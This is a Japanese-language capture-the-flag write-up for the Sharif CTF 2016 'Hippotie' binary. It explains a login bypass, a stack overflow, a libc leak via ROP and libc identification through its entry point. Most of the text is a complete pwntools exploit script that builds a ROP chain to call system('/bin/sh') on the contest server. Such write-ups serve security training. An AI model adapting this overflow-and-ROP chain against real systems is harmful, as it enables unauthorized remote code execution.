Sharif CTF 2016: Hippotie

,

libcのentry pointを使うと楽というの(とs/deb8u7/deb8u6/)はしゃろさんに教えてもらった。感謝。

problem

$ ./hippotie
 ▄         ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ 
▐░▌       ▐░▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▌
▐░▌       ▐░▌▀▀▀▀█░█▀▀▀▀▐░█▀▀▀▀▀▀▀█░▐░█▀▀▀▀▀▀▀█░▐░█▀▀▀▀▀▀▀█░▌▀▀▀▀█░█▀▀▀▀ ▀▀▀▀█░█▀▀▀▀▐░█▀▀▀▀▀▀▀▀▀ 
▐░▌       ▐░▌    ▐░▌    ▐░▌       ▐░▐░▌       ▐░▐░▌       ▐░▌    ▐░▌         ▐░▌    ▐░▌          
▐░█▄▄▄▄▄▄▄█░▌    ▐░▌    ▐░█▄▄▄▄▄▄▄█░▐░█▄▄▄▄▄▄▄█░▐░▌       ▐░▌    ▐░▌         ▐░▌    ▐░█▄▄▄▄▄▄▄▄▄ 
▐░░░░░░░░░░░▌    ▐░▌    ▐░░░░░░░░░░░▐░░░░░░░░░░░▐░▌       ▐░▌    ▐░▌         ▐░▌    ▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀█░▌    ▐░▌    ▐░█▀▀▀▀▀▀▀▀▀▐░█▀▀▀▀▀▀▀▀▀▐░▌       ▐░▌    ▐░▌         ▐░▌    ▐░█▀▀▀▀▀▀▀▀▀ 
▐░▌       ▐░▌    ▐░▌    ▐░▌         ▐░▌         ▐░▌       ▐░▌    ▐░▌         ▐░▌    ▐░▌          
▐░▌       ▐░▌▄▄▄▄█░█▄▄▄▄▐░▌         ▐░▌         ▐░█▄▄▄▄▄▄▄█░▌    ▐░▌     ▄▄▄▄█░█▄▄▄▄▐░█▄▄▄▄▄▄▄▄▄ 
▐░▌       ▐░▐░░░░░░░░░░░▐░▌         ▐░▌         ▐░░░░░░░░░░░▌    ▐░▌    ▐░░░░░░░░░░░▐░░░░░░░░░░░▌
 ▀         ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀           ▀           ▀▀▀▀▀▀▀▀▀▀▀      ▀      ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ 
                                                                                                   
1. Register
2. Sign in
3. Pack your data
4. Validate your data
5. Send your data
6. Exit

> 

solution

最初にsign inが必要。 1. Registerしたusername:passwordは暗号化され、2. Sign inにはその暗号化後の文字列を渡さなければならない。 ただし長さ$1$の文字列ならこの暗号化の影響を受けない。

3. Pack your data + 4. Validate your dataでそのままstackを書き換えられる。広々とROPできる。

しかしlibcが与えられておらず、かつ手元のdatabase (niklasb/libc-database)にない。 そこで、libcのELF headerを出力させentry pointを調べ、そこへ飛ばす。 以下のように出るのでDebian GLIBC 2.19-18+deb8u7と分かり、これを使えば終わり。 ただし2.19-18+deb8u7は調べてもdownloadのlinkがない。しかし2.19-18+deb8u6のdownloadのurlを書き換えて叩けば降ってくる。

GNU C Library (Debian GLIBC 2.19-18+deb8u7) stable release version 2.19, by Roland McGrath et al.
Copyright (C) 2014 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 4.8.4.
Compiled on a Linux 3.16.36 system on 2016-11-28.
Available extensions:
	crypt add-on version 2.1 by Michael Glad and others
	GNU Libidn by Simon Josefsson
	Native POSIX Threads Library by Ulrich Drepper et al
	BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<http://www.debian.org/Bugs/>.

implementation

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='ctf.sharif.edu')
parser.add_argument('port', nargs='?', default=54519, type=int)
parser.add_argument('--libc', required=True)
parser.add_argument('--log-level', default='debug')
args = parser.parse_args()
context.log_level = args.log_level
p = remote(args.host, args.port)

elf = ELF('hippotie')
libc = ELF(args.libc)
main = 0x401365
main_loop = 0x40138f
alarm_offset = 0xb9cc0

pop_rdi_ret = 0x401483 # pop rdi ; ret
pop_rsi_r15_ret = 0x401481 # pop rsi ; pop r15 ; ret
pop_rsp_r13_r14_r15_ret = 0x40147d # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

def obfuscate(s):
    return ''.join(map(lambda x, y: chr(ord(x) ^ ord(y)), s, s[1 :] + '\0'))

def register(name, password):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil('Name: ')
    p.sendline(name)
    p.recvuntil('Password: ')
    p.sendline(password)
def sign_in(name, password):
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil('Name: ')
    p.sendline(name)
    p.recvuntil('Password: ')
    p.sendline(password)
    assert p.recvline().strip() == 'Successfully Logged In!'
def pack_your_data(data):
    p.recvuntil('> ')
    p.sendline('3')
    p.recvuntil('Which data do you want to pack? ')
    p.sendline(data)
def validate_your_data(recv=False):
    p.recvuntil('> ')
    p.sendline('4')

register('foo', 'bar')
sign_in(obfuscate('foo'), obfuscate('bar'))
payload = ''
payload += 'A' * 528
payload += 'BBBBBBB\0' # rbp
payload += p64(pop_rdi_ret)
payload += p64(elf.got['alarm'])
payload += p64(elf.plt['puts'])
payload += p64(pop_rdi_ret)
payload += p64(elf.got['setvbuf'])
payload += p64(elf.plt['puts'])
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(main)
pack_your_data(payload)
validate_your_data()
p.recvline()
alarm   = u64(p.recvline(keepends=False).ljust(8, '\0'))
setvbuf = u64(p.recvline(keepends=False).ljust(8, '\0'))
log.info('alarm: %#x', alarm)
log.info('setvbuf: %#x', setvbuf)
libc_base = setvbuf - libc.symbols['setvbuf']
# libc_base = alarm - alarm_offset
log.info('libc base: %#x', libc_base)

# # find the ELF header
# addr = alarm / 0x1000 * 0x1000
# k = 16
# while True:
#     payload = ''
#     payload += 'A' * 528
#     payload += 'BBBBBBB\0' # rbp
#     for i in range(k):
#         payload += p64(pop_rdi_ret)
#         payload += p64(addr - 0x1000 * i)
#         payload += p64(elf.plt['puts'])
#     payload += p64(main)
#     pack_your_data(payload)
#     validate_your_data()
#     p.recvline()
#     for i in range(k):
#         s = p.recvline()
#         log.info('%#x: %s', alarm - (addr - 0x1000 * i), repr(s))
#     addr -= 0x1000 * k

# # jump to libc entry point
# payload = ''
# payload += 'A' * 528
# payload += 'BBBBBBB\0' # rbp
# payload += p64(pop_rdi_ret)
# payload += p64(libc_base + 0x18) # Elf64_Ehdr.e_entry
# payload += p64(elf.plt['puts'])
# payload += p64(main)
# pack_your_data(payload)
# validate_your_data()
# p.recvline()
# entry = u64(p.recvline(keepends=False).ljust(8, '\0'))
# log.info('entry point: %#x', entry)
# payload = ''
# payload += 'A' * 528
# payload += 'BBBBBBB\0' # rbp
# payload += p64(libc_base + entry)
# pack_your_data(payload)
# validate_your_data()
# p.recvall()

register('foo', 'bar')
sign_in(obfuscate('foo'), obfuscate('bar'))
payload = ''
payload += 'A' * 528
payload += 'BBBBBBB\0' # rbp
payload += p64(pop_rdi_ret)
payload += p64(libc_base + next(libc.search('/bin/sh')))
payload += p64(libc_base + libc.symbols['system'])
pack_your_data(payload)
validate_your_data()

time.sleep(1)
p.sendline('id')
p.interactive()